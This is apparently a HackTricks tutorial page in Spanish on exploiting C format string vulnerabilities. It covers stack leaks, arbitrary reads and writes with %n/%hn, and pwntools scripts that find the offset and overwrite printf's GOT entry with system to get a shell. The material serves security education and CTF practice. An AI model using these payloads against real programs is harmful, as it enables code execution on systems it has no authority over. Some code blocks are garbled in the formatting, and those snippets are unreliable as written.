Format Strings

Support HackTricks

Información Básica

En C printf es una función que se puede usar para imprimir alguna cadena. El primer parámetro que esta función espera es el texto en bruto con los formateadores. Los siguientes parámetros esperados son los valores para sustituir los formateadores del texto en bruto.

Otras funciones vulnerables son sprintf() y fprintf().

La vulnerabilidad aparece cuando un texto del atacante se usa como el primer argumento para esta función. El atacante podrá crear una entrada especial abusando de las capacidades de la cadena de formato printf para leer y escribir cualquier dato en cualquier dirección (legible/escribible). De esta manera, podrá ejecutar código arbitrario.

Formateadores:

%08x> 8 hex bytes
%d> Entire
%u> Unsigned
%s> String
%p> Pointer
%n> Number of written bytes
%hn> Occupies 2 bytes instead of 4
<n>$X —> Direct access, Example: ("%3$d", var1, var2, var3) —> Access to var3

Ejemplos:

  • Ejemplo vulnerable:

char buffer[30];
gets(buffer);  // Dangerous: takes user input without restrictions.
printf(buffer);  // If buffer contains "%x", it reads from the stack.
  • Uso Normal:

int value = 1205;
printf("%x %x %x", value, value, value);  // Outputs: 4b5 4b5 4b5
  • Con argumentos faltantes:

printf("%x %x %x", value);  // Unexpected output: reads random values from the stack.
  • fprintf vulnerable:

#include <stdio.h>

int main(int argc, char *argv[]) {
char *user_input;
user_input = argv[1];
FILE *output_file = fopen("output.txt", "w");
fprintf(output_file, user_input); // The user input can include formatters!
fclose(output_file);
return 0;
}

Accediendo a Punteros

El formato %<n>$x, donde n es un número, permite indicar a printf que seleccione el n-ésimo parámetro (de la pila). Así que si quieres leer el 4to parámetro de la pila usando printf, podrías hacer:

printf("%x %x %x %x")

y leerías del primer al cuarto parámetro.

O podrías hacer:

printf("%4$x")

y leer directamente el cuarto.

Nota que el atacante controla el parámetro de printf, lo que básicamente significa que su entrada estará en la pila cuando se llame a printf, lo que significa que podría escribir direcciones de memoria específicas en la pila.

Un atacante que controle esta entrada, podrá agregar direcciones arbitrarias en la pila y hacer que printf las acceda. En la siguiente sección se explicará cómo usar este comportamiento.

Lectura Arbitraria

Es posible usar el formateador %n$s para hacer que printf obtenga la dirección situada en la n posición, siguiéndola y imprimirla como si fuera una cadena (imprimir hasta que se encuentre un 0x00). Así que si la dirección base del binario es 0x8048000, y sabemos que la entrada del usuario comienza en la 4ta posición en la pila, es posible imprimir el inicio del binario con:

from pwn import *

p = process('./bin')

payload = b'%6$s' #4th param
payload += b'xxxx' #5th param (needed to fill 8bytes with the initial input)
payload += p32(0x8048000) #6th param

p.sendline(payload)
log.info(p.clean()) # b'\x7fELF\x01\x01\x01||||'

Tenga en cuenta que no puede poner la dirección 0x8048000 al principio de la entrada porque la cadena se cortará en 0x00 al final de esa dirección.

Encontrar el desplazamiento

Para encontrar el desplazamiento a su entrada, podría enviar 4 u 8 bytes (0x41414141) seguidos de %1$x y aumentar el valor hasta recuperar los A's.

Fuerza bruta printf offset

```python # Code from https://www.ctfrecipes.com/pwn/stack-exploitation/format-string/data-leak

from pwn import *

Iterate over a range of integers

for i in range(10):

Construct a payload that includes the current integer as offset

payload = f"AAAA%{i}$x".encode()

Start a new process of the "chall" binary

p = process("./chall")

Send the payload to the process

p.sendline(payload)

Read and store the output of the process

output = p.clean()

Check if the string "41414141" (hexadecimal representation of "AAAA") is in the output

if b"41414141" in output:

If the string is found, log the success message and break out of the loop

log.success(f"User input is at offset : {i}") break

Close the process

p.close()

</details>

### Qué tan útil

Las lecturas arbitrarias pueden ser útiles para:

* **Volcar** el **binario** de la memoria
* **Acceder a partes específicas de la memoria donde se almacena información** **sensible** (como canarios, claves de cifrado o contraseñas personalizadas como en este [**desafío CTF**](https://www.ctfrecipes.com/pwn/stack-exploitation/format-string/data-leak#read-arbitrary-value))

## **Escritura Arbitraria**

El formateador **`%<num>$n`** **escribe** el **número de bytes escritos** en la **dirección indicada** en el parámetro \<num> en la pila. Si un atacante puede escribir tantos caracteres como desee con printf, podrá hacer que **`%<num>$n`** escriba un número arbitrario en una dirección arbitraria.

Afortunadamente, para escribir el número 9999, no es necesario agregar 9999 "A"s a la entrada, para hacerlo es posible usar el formateador **`%.<num-write>%<num>$n`** para escribir el número **`<num-write>`** en la **dirección apuntada por la posición `num`**.
```bash
AAAA%.6000d%4\$n —> Write 6004 in the address indicated by the 4º param
AAAA.%500\$08x —> Param at offset 500

Sin embargo, ten en cuenta que generalmente, para escribir una dirección como 0x08049724 (que es un número ENORME para escribir de una vez), se usa $hn en lugar de $n. Esto permite escribir solo 2 Bytes. Por lo tanto, esta operación se realiza dos veces, una para los 2B más altos de la dirección y otra vez para los más bajos.

Por lo tanto, esta vulnerabilidad permite escribir cualquier cosa en cualquier dirección (escritura arbitraria).

En este ejemplo, el objetivo será sobrescribir la dirección de una función en la tabla GOT que se llamará más tarde. Aunque esto podría abusar de otras técnicas de escritura arbitraria a exec:

Vamos a sobrescribir una función que recibe sus argumentos del usuario y apuntarla a la función system. Como se mencionó, para escribir la dirección, generalmente se necesitan 2 pasos: Primero escribes 2Bytes de la dirección y luego los otros 2. Para hacerlo se usa $hn.

  • HOB se llama a los 2 bytes más altos de la dirección

  • LOB se llama a los 2 bytes más bajos de la dirección

Luego, debido a cómo funciona la cadena de formato, necesitas escribir primero el más pequeño de [HOB, LOB] y luego el otro.

Si HOB < LOB [address+2][address]%.[HOB-8]x%[offset]\$hn%.[LOB-HOB]x%[offset+1]

Si HOB > LOB [address+2][address]%.[LOB-8]x%[offset+1]\$hn%.[HOB-LOB]x%[offset]

HOB LOB HOB_shellcode-8 NºParam_dir_HOB LOB_shell-HOB_shell NºParam_dir_LOB

python -c 'print "\x26\x97\x04\x08"+"\x24\x97\x04\x08"+ "%.49143x" + "%4$hn" + "%.15408x" + "%5$hn"'

Plantilla de Pwntools

Puedes encontrar una plantilla para preparar un exploit para este tipo de vulnerabilidad en:

O este ejemplo básico de aquí:

from pwn import *

elf = context.binary = ELF('./got_overwrite-32')
libc = elf.libc
libc.address = 0xf7dc2000       # ASLR disabled

p = process()

payload = fmtstr_payload(5, {elf.got['printf'] : libc.sym['system']})
p.sendline(payload)

p.clean()

p.sendline('/bin/sh')

p.interactive()

Cadenas de Formato a BOF

Es posible abusar de las acciones de escritura de una vulnerabilidad de cadena de formato para escribir en direcciones de la pila y explotar un tipo de vulnerabilidad de desbordamiento de búfer.

Otros Ejemplos y Referencias

Last updated